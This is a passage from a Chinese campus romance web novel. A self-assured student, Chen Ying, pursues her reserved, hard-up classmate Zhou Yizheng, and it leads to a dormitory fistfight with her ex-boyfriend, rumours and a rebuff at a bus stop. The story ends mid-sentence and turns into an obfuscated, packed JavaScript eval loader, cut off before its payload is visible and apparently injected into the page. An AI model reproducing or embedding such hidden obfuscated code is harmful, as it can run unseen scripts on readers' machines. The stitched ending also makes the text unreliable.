但很可惜,在对方的眼里,没有看到她想要的答案。 “抱歉,我现在只想把时间放在学业上。” 他极其礼貌地拒绝了她,但也不留余地。 林晴昉心灰意冷,反问:“那如果有一天,你遇到了喜欢的人呢?你也会这样拒绝她吗?” 她知道她不该往下问,但她仍是不甘心。 几乎是下意识的反应,周译铮冷声否认。 “不会出现这样的情况。” 他早就习惯了只有自己一个人。 他的生活里不会出现任何的意外,也不会有任何的惊喜。 他还有太多尚未完成的事,他很清楚自己没有时间浪费在不重要的人和事身上。 回到寝室,室友还没回来,周译铮去洗了个冷水澡。 花洒打开,冰冷的水不断浇在后背,皮肤泛起锋利的、难以忽视的凉意,这是一天中少有的他可以放空大脑的时刻。 在这个时刻,他终于可以什么都不去想。 头发擦至半干,他从浴室出来,恰巧听到寝室里的谈话声。 室友不知什么时候回来了。 “哎,时濯,听说你和陈楹分手了?真的吗?”张树恒脚下一蹬,电脑椅滑到了时濯旁边,八卦地朝他打听,“好像确实很久没见你们在一起了。” 时濯的表情一下五颜六色的,把脖子上的耳机摘下烦躁地扔到一边。 “谁说的?我们上周才一起吃了饭,是不是非得在你们面前晃悠才行?” 时濯说起谎来脸不红心不跳。 他们上周确实一起吃了饭,不过不是在同一张餐桌而已。 张树恒立刻信了他的话,马上供出了“传谣”的人:“是陈升他们乱说的,我一个字都没信。他也不知道是听谁说的。” 舌尖顶了顶腮帮,时濯有些恼羞成怒:“我和陈楹感情好得很,刚才她还给我打了电话,约我下周一起去云城旅游……” 发间的水珠滚落掉在书页中央,晕开大片的水渍,那字迹渐渐变得模糊,周译铮翻动书籍的手就此停住。 有什么堵在了胸腔,不上不下的。 所以,连和时濯分手这件事也是骗他的。 恍然的那刻,周译铮出奇的平静,竟有种果真如此的感觉。 他想到了那天在学校食堂坐在陈楹对面的男人。 听起来,也和她关系匪浅。 因为他说没有时间,所以她第二天马上又约了另一个男的。 对她来说,大概永远都不会只有一个选择。 他不过是她无聊时的消遣,不过是她众多选择中的一个。 果然,他想得没错。 他对她不存在任何的误解。 幸好,他永远都不会和这样的人有交集。 * 北城的雨总是来得突然。 刚才还阳光明媚,晒得人睁不开眼,转眼间天色就沉了下来,教室的窗户被风吹得吱呀作响,书页翻飞,天边闷雷滚动,俨然是暴雨的前奏。 “同学们把窗户关上,别再交头接耳的,专心上课!”讲台上穿着polo衫的教授扶了下眼镜,继续对着那祖传的ppt说得天花乱坠。 陈楹望向窗外,给魏嘉铭发消息。 【下雨了,待会到教学楼这边接我。】 魏嘉铭:【我还在外面呢,要不我给喻辞哥发消息,让他过去吧。】 陈楹:【你可以试试。】 是威胁的语气。 魏嘉铭立刻滑跪:【姐姐,我错了,当我什么都没说。】 漫长的一个小时终于过去,陈楹站在教学楼屋檐下等人。 此刻的雨势比刚才更大,空气又闷又潮,是她最厌烦的雷雨天气,陈楹频频看向腕表,耐心快要用尽。 正要给魏嘉铭打去电话,忽然,她目光一滞。 她在对话框里打字。 【不用过来了。】 未等魏嘉铭回复,她已经快步走入雨中。 一步。 两步。 三步。 她一弯腰钻进了周译铮伞下。 天边雷声滚滚,雨水顺着伞沿滴落,不算宽大的黑色雨伞下,她站在周译铮旁边,两人靠得那么近,肩膀几乎碰到肩膀,空气恍如凝滞。 转头,对上周译铮匪夷所思的表情,陈楹倒是弯了弯嘴角,瞳孔很亮。 “我没带伞,你送我。” “你出去。”他扭过头,声音紧绷着。 “你难道要看我被雨淋么?” 陈楹眨了眨眼睛,睫毛颤动,声音比往常软了不少,那尾音含含糊糊的,听上去像是在撒娇。 她很少装可怜,但不代表她不会。 她最知道怎么样会让人心软。 从前只要她撒娇,不管是什么过分的要求,谈清川都会答应她。 只是周译铮似乎不吃这一套,他依旧审视地看着自己,那双眼睛冷得像冬天彻骨的湖水。 不知想起了什么,他握着伞柄的手因为用力而青筋凸起。 “那么多人,为什么要找我?” 他不明白,为什么是他。 为什么她总是要来招惹他,一而再,再而三。 他已经拒绝过她了。 “因为,这里我就只认识你,”陈楹望向眼前的雨幕,语气随意又熟稔,“送我到三栋就行,前面路口左拐。” 话音未落,周译铮已经刻意和她拉开了距离,狭小的伞下还空出了一个人的位置,他左边的肩膀被雨淋湿,白色的t恤洇开一大片水渍。 他还真是对她避之不及。 陈楹扯了扯嘴角,感到新奇。 这还是她第一次被人这么直白地表达“厌恶”。 “我有这么令人讨厌吗?”她故意走近了些,“我很好奇,你是单对我这个态度,还是对所有人都一样?” 周译铮言辞生硬:“我对别人一向友善。” 陈楹点点头,故作恍然。 “原来对你而言,我这么特别。” 周译铮眉头皱得很深:“曲解别人的话,是你的乐趣?” 天边又是一声惊雷,陈楹冷不丁地被吓了一跳,她下意识地把手覆在伞柄上,只是不经意间碰到了周译铮的手。 他像被什么烫到了似的,立刻松开了手。 旁边就是学校超市,很突然地,滂沱大雨下,周译铮留下伞给她,自己倒走了进去。 陈楹不明所以。 不到五分钟,周译铮出来了,他冷着脸扔给她一把伞。 新的。 显然,是刚买的。 陈楹看着手里还没拆封的雨伞,轻嗤:“周译铮,你真的很不热心助人。” “嗯,所以呢?” 他的表情太过平淡,反倒勾起了她内心一些恶劣的想法。 “周译铮,”雨声空濛,她的眼神让气氛变得暧昧,“你相不相信,不到两个月,我就会追到你。” 时间仿佛被无限拉长,直到此刻,周译铮终于低头看她。 或者说,是在打量她。 “凭什么?” 陈楹掰着手指细数:“就凭我长得漂亮,性格好,学习也好,喜欢我那也是人之常情。” 周译铮笑:“你一向都这么自信吗?” “我没有理由不自信。” 陈楹轻描淡写地说着,就像是在陈述一个她早就确认过的事实。 她本以为周译铮会用那嘲弄的眼神看着她,就像刚才一样,抬头,却看到那双清冷的眼睛翻涌着复杂的、她读不懂的情绪。 怔愣间,他说:“你和时濯根本没有分手。” “原来你介意的是这个——”陈楹嘴角弧度加深,朝他又走近了些,呼吸几乎打在他颈侧,“也就是说,如果我和他真的分手了,你就会和我在一起,是这样吗?” 话音刚落,周译铮像是无奈到了极点,他深呼吸了一口气,开口时,声音沙哑又干涩。 “陈楹,我从来没有见过像你这样的人。” “不是说记不住我的名字吗?”陈楹歪头看他,眼尾弯弯,神情狡黠得像一只猫,“周译铮,你看,你又撒谎了。” 11.第十一章 一切只是点到为止。 瓢泼大雨中,衣角被飘进来的雨雾打湿,冰冰凉凉地贴着皮肤,她没有再往前一步,也没有往后退,如果这是一场势均力敌的拉锯战,她确信她找到了最好的位置。 果然,下一秒,周译铮先避开了她的眼神。 “那伞我收下了,”陈楹掏出手机,屏幕朝上,“我们加个微信吧。” 周译铮没有动作:“不必了,我们也不会再有其他的联系。” “只是把雨伞的钱转给你,”她抬眼看他,似笑非笑地开口,“不是说不想和我扯上关系吗?” 莫名地,她记起了一件很久远的事。 大概是半年前的一天,她和时濯在市中心的一家餐厅吃饭。 安静的环境里,时濯的手机忽然弹出一条转账消息。 37.5元。 他说,那是他室友转来的电费。 “我一开始就和他说了不用给,他家境不好我们宿舍都知道,我也不在意这点钱,但他还是每个月准时给我转过来,我也……没办法。” 时濯那时口中的人,现在就在她眼前。 陈楹低头看向手中的伞,又看向周译铮那张面无表情的脸。 他到底是怎样的人。 直到现在,她仍然看不懂。 “不用了。” 周译铮低沉的嗓音在耳畔响起,她甚至还没听清他说的话,他已经撑起那把黑色的伞步入雨中。 他竟然就这么走了? 被忽视得彻底,实在气不过,她冲着他的背影喊道:“周译铮,我一定会加到你微信的!” 雨幕中,他的脚步似乎停顿了片刻,但却没有回头。 * 周一,上完数字逻辑实验课,周译铮刚要离开,站在讲台上的闫老师笑着朝他招了招手。 “译铮,你过来一下。” 背包斜挎在右侧的肩膀,他往讲台的方向走去。 “老师,请问有什么事吗?” 闫老师上个学期担任过他比赛的指导老师,不仅学术成果扎实,而且为人亲切又随和,系里的学生都很敬重他。 “没什么,就是我朋友的侄女她对你上学期发表在JACM上的论文很感兴趣,你看有没有时间和她讲解一下。” 像这样的事时有发生,周译铮没多想,点了点头。 “好的。” 到了晚上,周译铮刚回到寝室,通讯录里就弹出一条添加好友的消息,备注只写了三个字“闫老师”。 看了眼对方的微信昵称,是一个橙子的emoji。 周译铮随手点了通过。 橙子:【同学,你好。】 周译铮回:【你好。】 橙子:【在忙吗?】 周译铮:【没。】 橙子:【那你现在在做什么?】 周译铮看着这条消息,稍稍一愣,继而在键盘上打字。 【闫老师早上和我提起过的,不知你想了解论文的哪些内容。】 他回复完把手机放到一边,从书架拿下某本专业书的英文名著。 噔噔—— 手机屏幕又亮了,弹出两条消息。 橙子:【[图片]】 【我想知道图中的这个结论可以推广到随机算法吗?你当时有没有进行更进一步的研究?】 用文字讲述有些复杂,周译铮走到阳台发了两段语音过去。 过了五分钟,对方还没有回复。 担心自己是不是讲得不够清楚,他又坐在电脑前打字。 【如果还有什么疑问,都可以问我。】 橙子:【没有了。】 以为这段对话到此就结束了,但书刚翻页,消息又弹了出来。 【听闫老师说,你叫周译铮是吗,我备注一下。】 周译铮:【嗯。】 橙子:【对了,我叫陈楹,你也可以备注一下。】 平静的脸上有了微妙的裂痕,周译铮攥紧了手机。 音乐声震耳欲聋,迷幻的灯光在头顶闪烁,杯中威士忌的冰块已经融化成液体,已经快十二点,市中心的夜场还热闹如同白昼。 陈楹放下手机,嘴角还维持着上扬的弧度。 她注视着聊天框顶部,那里显示“对方正在输入中”,然后又消失,反复几次。 光是想象周译铮现在的表情,陈楹就觉得有趣,连这乏味的组局都变得不那么难以忍受。 【怎么样,我还是加到你微信了。】 周译铮没回,连那“对方正在输入中”也不见了。 【你果然像你说的一样,只对我这么冷淡。】 刚才不知道是她的时候,对她不还梃礼貌的,现在倒是什么都不回复了。 即便如此,陈楹倒是不意外,抿了一口酒,威士忌辛辣的味道在口腔中蔓延,她点开周译铮的朋友圈,竟然只有一道横杠。 她在键盘上打字:【你朋友圈怎么什么都没有。】 周译铮竟回了过来。 【不喜欢发。】 陈楹:【哦,还以为你屏蔽我了。】 周译铮:【你没那么特别。】 陈楹这下倒是真有点被气到了。 她听了出来,这是在拿她那天的话噎她。 大概是她的反应太过反常,刚从楼上下来的温书瑶坐了过来,下巴搁在她肩膀上,眼神迷离,显然有些喝醉了。 “我们大小姐在和谁聊天呢?”她瞥了眼聊天记录,揶揄道,“新的男嘉宾?” 陈楹似是而非地挑了挑眉。 “算是吧。” 温书瑶看着这聊天记录,确实觉得不对劲,鄙夷地点了根烟。 这人谁啊,说话可真够装的。 她嗤了声:“以你的魅力,这些男的勾勾手不就过来了?还用来这套。” 陈楹沉思:“他有点……不一样。” 她莫名记起第一次见到周译铮的那天。 他穿了一件黑色的连帽卫衣,下身是一条洗得发白的牛仔裤,她当时大脑里闪过两个念头。 第一,他长得真好看。 第二,时濯脖子上那条围巾大概能买十身这样的衣服。 “能有什么不一样,”温书瑶还真不信邪了,醉眼迷离地靠在她身上,“手机给我。” 陈楹还没反应过来,温书瑶已经把她手机拿了过去。 她竟然给周译铮打了个视频电话。 * 嗡嗡嗡—— 时濯洗完澡从浴室出来,浴巾松松垮垮地系在腰间,以为是自己的手机响了,他走到座位前拿起手机。 不是他的电话。 他循着这声音望向周译铮。 “怎么不接电话?”时濯边擦着头发走过来,随口问道,“谁打的?” 那脚步声越来越近,空气恍如凝固,周译铮看 着屏幕上陈楹的微信头像,手心莫名渗出了汗。 慌张,不安,心虚,此刻的每一种情绪都让他感到陌生,胸腔里翻涌起某种隐秘的、无法言说的战栗。 夏天燥热的风从阳台吹进来,带着夜晚残留的暑气,汗津津地黏在皮肤,宿舍的木门砰地一声被风关上。 在时濯走到身后的那一秒,周译铮终于按下拒接,故作冷静地开口。 “别人打错了。” “噢,最近确实很多骚扰电话,我都接到好几个,”时濯接过话,忽然又想起什么,“不过你这个好像是微信电话吧。” 宿舍一下安静了下来。 等了好一阵,周译铮都没说话,时濯没再追问,他本就琢磨不透这人的性格,自然也不觉得有什么奇怪。 汗浸湿了后背,周译铮将手机反面盖上,放到桌面角落处,只是下一秒,微信噔地又弹出消息。 周译铮重新翻开书页,再也没拿起过那台手机。 * 第二天又是早八,时濯是被张树恒叫醒的。 挣扎着起床洗漱完,他和往常一样对着镜子抓了抓头发,又用发胶固定,弄了个还算满意的造型。 出门时,他还觉得奇怪。 因为今天周译铮竟然和他们几乎同时出门,往常这个时候,他早就去了图书馆。 以至于下楼时,连许鑫扬也忍不住问:“阿铮,你昨晚没休息好吗?” “嗯。” “是在忙谢老师的项目吧。” 周译铮迟疑了片刻,应了声:“……嗯。” 他的反应很冷淡,不过许鑫扬也都习惯了,他知道周译铮就是这样的性格,对谁都淡淡的,寡言少语,便没再问下去。 许鑫扬扭头对时濯说:“今天还早,要不咱们去食堂吃个早饭吧。” 张树恒积极响应,搂着他的脖子:“走,还真有点饿了这会。” 刚到楼下,时濯正要拒绝,忽然看到不远处站在树荫下的人,眼睛登时亮了,心情像飘在了云上。 陈楹竟然站在宿舍楼下等他! 看来是昨天发在朋友圈的腹肌照起了作用,时濯顾不得细想,欣喜若狂地跑了上前,不由分说将她抱在怀里。 多日的想念在此刻终于得到了慰藉。 淡淡的香水味侵入鼻腔,这个拥抱来得突然,陈楹甚至还没反应过来,径自愣在原地。 “你终于不生我气了吗?”时濯的声音闷闷的,听出了几分委屈,“宝宝,这段时间我好想你,我们以后都不分开了好不好?我错了,我以后再也不惹你生气了,我发誓我不会再干涉你的交友……” 陈楹面无表情地听着,内心并无波澜,正要推开,一抬头,却看到时濯身后的周译铮。 晨雾中,他的表情看不真切,但她很确定他正在看她。 空气变得滚烫,有什么在他们之间缓慢流动,树上重复的蝉鸣声令人倍感焦躁,陈楹皱了皱眉,用力将时濯推开。 她平静地开口:“时濯,我不是来找你的。” “什么意思?” 时濯没听懂,她刚才明明就是站在这里等人。 “我找的人是——他。” 陈楹拉长尾音,挑眉望向他身后。 时濯脸上的笑容在顷刻间凝固,顺着她的视线,他终于缓缓回过头—— 北城的清晨,薄雾未散,周译铮站在原地,对上时濯那淬了毒的眼神。 12.第十二章 已经是晚上十一点,餐厅的客人终于全部离场,流光溢彩的水晶吊灯熄灭,只留下几盏昏黄的壁灯,落地窗外繁华的城市归于寂静,街道空荡。 周译铮将杯碟整理好,去更衣室换下黑色的制服,看了眼时间,刚好还赶得上末班车。 刚走到门口,廖经理又喊住了他,手里提着一个方正的白色纸盒,笑盈盈地递了过去。 “译铮,今天厨房多烤了些点心,你拿回去和舍友们一起吃吧,”不知是哪个词让他忽然顿住,见他迟迟没有接过,廖经理又问了句,“怎么了吗?” “没事,谢谢经理。” 他最后还是伸手接了过来。 从夜48路公交到江城大学,一共16个站,全程41分钟。 这条路他走过太多次,连每一个站窗外的景色他都已经熟记于心。 但这天晚上,他在前一个站就下了车。 白天下过雨,车门打开,凉爽的夜风混着雨后泥土的腥气迎面扑来,他不紧不慢地走着,路灯渐暗,他踩着自己的影子。 回到寝室已接近凌晨,宿舍还亮着灯,推开门的瞬间,时濯刚好从阳台外面走进来,手里拿着一根刚点燃的烟。 尼古丁的味道在逼仄的空间里蔓延,时濯盯着他,咬紧了后槽牙,眼神如同锋利的刀片要将他一片一片剜开。 “我还以为你不敢回来了呢。”说话间,他把烟掐灭。 周译铮神色冷淡,回到座位,将那白色纸盒放到一旁,又整理好桌面上的书籍才开口。 “我为什么不敢回来?” “还装?你丫别装着装着,自己都信了,”时濯本就不是什么能忍气吞声的人,说出口的话也越来越难听,最后几句几乎是吼出来的,“你明知道陈楹是我女朋友,你为什么要插一脚进来!我知道了,是你让她和我分手的吧。” 眼尾下压,周译铮扯了扯嘴角,眼底嘲弄的意味愈浓。 “这个问题,你应该去问她。” 正在气头上的时濯连一个字都听不进去,胸口剧烈起伏着,拳头紧攥。 “所以你是从什么时候开始勾引陈楹的?是不是从第一次在宿舍楼下见面开始,你就在计划这一天!” 难怪那天周译铮非要问他要宿舍钥匙,难怪他故意要在陈楹面前晃悠。 这一刻,时濯只觉得毛骨悚然。 是他太单纯了,他以为他身边的全都是好人,他以为周译铮自命清高,不会去做这种下三滥的事。 没想到反倒是他给自己上了一课。 气氛剑拔弩张,另外两个舍友汗流浃背的,连大气也不敢出,这环境里越是安静越让人感到窒息,张树恒背挺得笔直,手忙脚乱地翻开桌面上的书,假装什么都没听到。 倒是许鑫扬唯唯诺诺地开口,想缓和气氛。 “时濯,你先冷静一下。” “冷静?我冷静什么,我哪个字说错了?”他用力甩开对方的手,目光一扫,瞥见周译铮放在桌面上的SilverLune的纸盒。 他知道周译铮在那里做兼职,想到这,更觉讽刺。 “她就算和你在一起,也只是图一时新鲜而已,你知道吗,你拼死拼活做兼职一个月赚的钱,还买不起她的一只耳环,你真以为陈楹对你是认真的?她只是想玩一玩而已,毕竟还没谈过这么穷的——” “不过你们穷人手段就是多哈,平时看你那么清高,连那三五十电费都斤斤计较,看不出你还挺‘上进’的。” 听到这,许鑫扬更是胆战心惊,伸手去扯时濯的衣服。 “时濯,你别把话说得那么难听,你们之间肯定有什么误会,”转头又看向周译铮,战战兢兢地开口,“阿铮,你不说点什么吗,或者解释一下。” 头顶上的空调呼呼地吹着风,但仍是闷热得让人喘不过气,汗沿着额角不断往下掉。 直到这一刻,周译铮终于站了起来,走到他面前,时濯以为他要和他争辩,梗着脖子看他,眼神阴鸷。 他倒要看看他要怎么解释。 没想到下一秒,颧骨处传来剧烈的痛感,他的头猛地偏向一边,周译铮竟朝他的脸狠狠挥下一拳。 不要说许鑫扬,连时濯也懵了。 “操!周译铮,你他妈是不是疯了!” 只一秒时濯就反应了过来,双手揪紧周译铮的衣领把他往后推,身体撞到床架发出刺耳的声响,摇摇晃晃的,连杯中的水也跟着震动。 两人很快扭打到一起,每一拳都用尽了全力,书架上的书应声而倒,哗啦啦地散落在地上。 “怎么办?”许鑫扬吓得唇色苍白,求救地看向张树恒。 张树恒用看傻子的眼神看着他:“还能怎么办,赶紧把人拉开啊!” * 这件事实在闹得太大,又被人添油加醋地传了出去,一时弄得沸沸扬扬,在校园论坛的热度高居不下。 陶静蕊每次点进去,都能在首页看到这篇碍眼的帖子。 她怎么也不敢相信这帖子里的人会是周译铮。 在她的印象中,他是那么温和文雅、谦逊有礼的人,是所有老师和同学心目中的榜样,待人接物无一处不妥帖。 可他竟然有一天会和别人大打出手。 而且还是为了陈楹。 她急于求证,但这几日发出去的消息全都石沉大海,周译铮一条都没有回复。 她无由来地感到心慌。 终于,在某个午后,她在学校食堂碰见了周译铮。 食堂人声嘈杂,他坐在角落的阴影里,餐盘里的食物并未见少,似乎也是刚坐下。 走近,她一眼就看到了他眉骨处的伤口,那暗红色的血痂颇有些触目惊心。 她倒吸了一口气,捧着餐盘在对面坐下,好几次想开口,但又把话咽了回去。 “阿铮,你额头上的伤口——”陶静蕊说到一半,又顿了顿,“是怎么弄的?” 周译铮眉头皱了皱,再也没有多余的表情。 “没什么。” “我最近听到一些传闻,”碗里的馄饨散着热气,陶静蕊观察他脸上的表情,“他们说,你和你们宿舍的时濯打架了,是真的吗?” “嗯。” 得到证实,陶静蕊心往下一沉,头顶绿色的风扇不停地旋转,却赶不走夏天的燥热,她看着眼前的人,竟觉得陌生。 “……为了陈楹?” 可她分明记得,上次他说他不认识她的。 周译铮筷子一顿,唇线抿成直线。 “不是。” “那为什么所有人都这么说?” 未经大脑思考,这句话就这么脱口而出,空气仿佛停止了流动,陶静蕊懊恼了片刻才渐渐回归了理智。 “其实我也不相信,只是这事传得沸沸扬扬的,连以前的同学都来问我,他们说你还受了学校的处分,”陶静蕊话里有话,目光落在他眉骨处的伤口,“我知道你肯定不会做出这样的事,你不会拿自己的前途当儿戏,姑姑和姑父他们把所有的希望都放在你身上,我们现在的任务是赶紧毕业工作,其他的都不重要……” 周译铮睫毛低垂,下颌绷紧。 过了许久,才“嗯”了声。 陶静蕊承认她有些刻意。 她刚才说的每一句话都是有意为之,其实她一直都相信周译铮以后会大有作为,一定会出人头地,一定会比时濯那些人强一百倍。 正是因为她相信他,她才更不能让周译铮被别人抢走。 * 陈楹手里抱着一摞书,站在图书馆二楼入口处,环视了半圈。 目光刚扫过靠窗的那侧,她一眼就看到了周译铮。 午后的阳光透过玻璃落在他身上,连发丝都透着金色的光,完美的骨相如同上天的杰作,陈楹实在想不明白怎么之前从来没有见过他,明明他一出现,其他人全成了虚化的背景。 此刻周译铮斜对面刚好空出一个位置,陈楹快步走了过去。 坐下的那一刻,周译铮显然看到了她。 还是那熟悉的不待见的眼神。 陈楹对此早已免疫,甚至还半眯着眼睛甜甜地冲他笑。 周译铮倒是毫不领情,面无表情地低头,注意力重新放回笔记本电脑的屏幕,仿佛只当她是透明人。 她撇了撇嘴,并不在意。 手机设成勿扰模式,陈楹戴耳机刷了一会课,再抬起头时,周译铮正把电脑放进背包,准备起身离开。 她看了眼时间,才下午四点。 窗外阳光猛烈,他的背影消失在图书馆门口。 周译铮刚走到教学楼,陈楹终于跟了上来,和他并肩走着,扎起的高马尾一晃一晃的,很有活力。 “你今天这么早就走了?”她问。 她偶尔会刷到表白墙上的帖子,不都说他是图书馆闭馆那会才走的吗? 周译铮没说话,脚步倒是越来越快。 已经到了校门口的公交站,周译铮停了下来,看向发车时刻表,陈楹又忍不住开口。 “你要去哪?” 他仍是没理会,不过手机倒是弹出了好几条消息。 陈楹不经意间看到了那群聊的名称,她好奇地问:“你是……要去做家教?” 她留意到了地点,舫村,距离这有二十多公里,难怪他这么早就走了。 陈楹点开他的微信,给他转了两千块钱。 “今天能不能别去了,就当陪我两个小时,我们去看电影吧。” 最近新上了一出电影,她还挺想去看的。 她没有看到他逐渐难看的脸色,也没有看到他落在自己身上的眼神。 “对了,给你买了药膏,你晚上记得涂。” 陈楹实在觉得惋惜。 这么好看的脸,怎么能留下伤口呢。 校园论坛上的帖子第二天就有人转发给她看了,只是连她自己都不相信周译铮会因为她和时濯大打出手,她没有兴趣追究真实的原因是什么,她也不认为周译铮会告诉她。 但她没想到竟然留下了伤口。 那管药膏就这么横亘在两人中间,他迟迟没有伸手接过,陈楹只看到他手背凸起的蜿蜒且狰狞的青筋。 公交已经到站,熙熙攘攘的人从后面的车门走下来,脚步声杂乱又匆忙。 周译铮是在这时开口的,他的声音穿过所有嘈杂的声响抵达她耳边。 “陈楹。” 她愣了愣,抬头,对上他深邃的眼睛。 这一刻,她忽然想到,这好像是他第二次喊她的名字。 还没深想,紧接着,周译铮薄唇轻启,目光里闪过不加掩饰的厌恶和轻蔑,对她说。 “陈楹,我不想看到你,请你离我远一点。” 13.第十三章 公交离站,所有的喧闹也一并带走,刚才还乱哄哄的站台陷入了安静。 气氛沉闷得像暴雨来临前的天气,陈楹眼神中闪过茫然和错愕,视线定在他脸上,似乎是在消化这句话。 忽然,她不知想到什么,嘴角竟弯了弯。 “周译铮,你连生气的时候都这么有礼貌吗?” 连放狠话用的都是“请”。 说着,她朝他走近一步,径自越过了正常的社交距离,清冽的柑橘调香水入侵了所有感官。 她仰头看他,深褐色的瞳孔闪烁着光,眼底澄澈如山涧清泉。 “你真的不想看到我吗?”陈楹向他确认,明亮的眼睛眨了眨,靠得太近,她闻到他衣服上淡淡的洗衣液香气以及衣物被阳光晒透的味道,话语暧昧,“可是周译铮,我想看到你,那该怎么办?” 清冷的眼睛闪过局促,继而又被更复杂的情绪所取代,周译铮喉结动了动,目光从她脸上移开。 “你——” “我怎样?”陈楹眯起眼睛笑,学着他那日的语气,“是不是又要说,陈楹,我从来没有见过像你这样的人。” 这句打趣的话,让周译铮无端愣在原地。 他惊诧于自己此刻大脑里的想法,他以为他会厌恶她,抵触她,对她避之不及,他明明知道站在他面前的是多轻挑恣睢、三心二意的人。 他明明知道,她所说的这些暧昧不清、让人心神不宁的话,早已对无数人说起过。 他绝不会是唯一一个。 关于她的传闻那么多,桩桩件件传到他耳中,她似乎永远都有替代品,永远都有第二选择。 她从不在意别人的感受,也不在乎说出口的话会让对方落入什么样的境地,她不会考虑他和时濯之间的关系,也不会思考别人会怎么看待他。 又或者她知道,但仍然选择这么做。 他明明知道她是怎样的人,她的恶劣、任性、骄慢,他知道她的喜欢有多廉价短暂,有多虚伪浅薄,等新鲜感褪去,她所谓的喜欢也就不复存在。 他什么都知道,但他仍然“心软”了。 周译铮觉得自己好像真的生病了,病得还不轻。 已近黄昏,烈日烘烤着地面,晚霞在天边铺开,许是等不到他的反应,陈楹不由分说地把药膏塞到了他手里。 “好吧,那你去忙吧,”她走了两步,又回头和他挥了挥手,“周译铮,下次见!” 晚霞把人浸透,影子在地上拉得很长,周译铮在站牌前发了一会呆,眼神虚焦,散落在远处的高楼。 大学城的公交车每隔15分钟就有一趟,可这一次他却觉得无比的漫长,像是刻意拖着迟迟不来。 手机再次弹出消息—— 陶静蕊:【阿铮,上次我们做项目的钱发下来了,你收到了吗?】 而这条消息往下,是陈楹的转账记录。 眉心皱了皱,手里那管药膏不自觉被捏至变形,白色的管身凹进去一块,掌心刺痛,灼伤着神经。 公交到站,长长的尾气排出,在刺鼻的味道中,行人推搡着涌向车门,争先恐后地挤了上去。 咚地一声闷响—— 在上公交车前,周译铮把那管药膏扔进了一旁的垃圾桶。 * 陈楹这个周末过得悠闲。 魏嘉铭和朋友去海钓,软磨硬泡非要拉上她,她被缠得没办法,便这么应了下来。 返程那会,她站在甲板处吹风,百无聊赖点开朋友圈看了眼。 就在十分钟前,夏婵发了一条朋友圈。 熟悉的九宫格,只有一张是live图。 文案:【距离成为烘焙之神又近了一步[比耶][开心]】 点开第一张图,背景里还能听到谈清川的声音—— “慢一点,小心烫到手。” 谈清川的声音实在太好认,低哑,磁性,温暖,尾音总会习惯性地往下沉,像深夜电台里的男主播。 陈楹向来都以最大的恶意去揣测别人。 她想,夏婵果然很了解她。 知道她没耐心往下翻,所以故意把这张照片放在了第一张。 陈楹玩味地勾唇,随手点了个赞。 既然这是发给她看的,她当然要配合做好观众。让别人失望的事,她做不到。 果然,还没一会,夏婵的消息就弹了出来。 【楹楹,听说你最近分手了,是真的吗?】 海风咸腥,暮色翻涌,发丝被风吹得黏在脸上,陈楹盯着这条消息,故意隔了几分钟才回复。 她想起上次谈清川在电话里说夏婵和他表白了,所以,他们还没在一起吗。 否则她怎么会突然来“关心”自己。 她在屏幕上打字:【嗯,确实分了。】 夏婵:【其实我觉得喻辞还是很喜欢你的,你们之前分开得太草率了,你不觉得遗憾吗?】 陈楹一下愣了愣。 片刻后,她才缓过劲来,笑意漫上眼底。 【如果你是在担心我对某个人还旧情难忘的话,那你大可以放心。】 飞鸟在天边盘旋发出凄厉的声响,陈楹望向远处,周译铮的脸突然在脑海里浮现,她的目光渐渐变得柔软。 【因为,我已经有新的目标了。】 消息发出去,陈楹回到主甲板沙龙,又点开了周译铮的微信。 那天她给他转的两千块,他果然没有收,显示“已退还”。 陈楹晃了晃酒杯。 也不知道他眉骨处的伤口好点了没。 * 再次见到周译铮是在半个月后,陈楹报名参加了环保协会组织的志愿者活动。 在去之前,她还真不知道周译铮也在。 大巴车停在学校正门,还没走近,那股混合着劣质皮革和汽油的难闻气味就钻入鼻腔,陈楹胃里泛起一阵恶心,屏住了呼吸。 车上仅坐了一半的人,听说待会去的地方蚊虫很多,大家在传递着驱蚊水、风油精此类的物品,陈楹穿过走道往里走,这会玻璃窗外的阳光晃了一下眼睛,模糊中她好像看到了周译铮。 还是那件单调的白衬衫和水洗牛仔裤,周译铮戴着有线耳机坐在靠窗的位置,眼神散落在远处,不知道在看什么。 短短几秒,她想起前两日在银轨碰到时濯。 那会,他正气愤填膺地和朋友聊起:“我就只是挖苦了他几句,周译铮他妈突然跟疯狗似的,给我来了一拳,还越打越狠,烂命一条的东西……” 竟然是周译铮先动手的? 陈楹确实感到意外。 毕竟从第一次见面到现在,她从没见过他除了冷脸以外的第二种表情。 她难以想象他会有这么暴力的一面。 恰巧这会签到有人喊了她的名字,显然,周译铮也听到了。余光里,坐在窗边的少年忽然眉心皱了皱,顺着声音疑惑地看了过来。 四目相对,陈楹弯了弯嘴角,在他旁边坐下。 “好巧,这么快又见面了。” “对了,你有带驱蚊水吗,听说那边——” 她话还没说完,周译铮却猛然起身,神色冷峻地越过她,和后排的人换了位置,恍似避如蛇蝎。 陈楹哽住,剩下的话只能就这么咽了回去。 他的举动太过明显,很快,身后传来窸窸窣窣的议论声。 “论坛里说的难道是真的?” “可是周译铮看着好像很讨厌她,怎么可能为了她和别人打架?” “没想到啊,陈楹长那么漂亮,他竟然都不为所动……” 说不清是胜负欲作祟,还是想测试周译铮的反应,又或者两者都有,她回头看了一眼周译铮,又扭头望向旁边刚和他换了座位的人。 那人皮肤偏白,穿着浅绿色的速干运动短袖,鼻梁上架着一副黑框眼镜,略显局促地将双手放在膝上。 陈楹主动和他搭话:“你好,我是国贸专业的陈楹。” 对方显然没预料到她会和自己寒暄,腼腆地摸了摸后脑勺。 “我、我叫张澄,是法学院的。” “法学院?”陈楹拖长尾音,开起玩笑,“那我好像真的应该同情你一下。” 张澄愣了愣:“为什么?” “你们学院的冯老师,不是著名的‘点名狂魔’吗?” “竟然连你都知道?”张澄不可思议地扭头看她。 “我之前上过她的选修课,还是第一次看到教室末排都坐满了人。” 众所周知,陌生人拉近距离最好的方式就是说同一个人的坏话。 张澄本来还有些紧张,渐渐也打开了话匣,说起学院里的趣事,紧接着又说起自己倒霉的逃课经历,倒是有趣,陈楹听得认真。 安静的空间里,一点点的声响都格外引人注意。 大巴车已经行驶到了高速路段,张澄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 